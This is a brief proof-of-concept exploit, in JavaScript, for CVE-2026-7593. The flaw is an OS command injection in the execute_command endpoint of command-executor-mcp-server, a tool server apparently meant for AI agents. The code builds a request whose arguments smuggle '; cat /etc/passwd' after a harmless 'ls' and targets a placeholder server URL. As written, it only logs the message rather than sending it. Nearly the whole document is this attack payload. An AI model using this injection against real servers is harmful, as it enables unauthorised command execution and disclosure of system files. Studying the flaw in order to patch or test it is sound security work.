CVE-2026-7593: command-executor-mcp-server OS命令注入

// PoC for CVE-2026-7593 // Target: Sunwood-ai-labs/command-executor-mcp-server <= 0.1.0 // Description: Exploiting OS Command Injection in execute_command // Malicious payload structure // The vulnerability allows injecting shell commands via arguments. const exploit = () => { const targetUrl = "http://target-server:port/mcp/execute"; const maliciousPayload = { "command": "ls", // Legitimate command "args": ["; cat /etc/passwd"] // Injection payload }; // Attacker sends this request to the vulnerable endpoint // The server executes: ls ; cat /etc/passwd console.log(`Sending exploit to ${targetUrl}`); };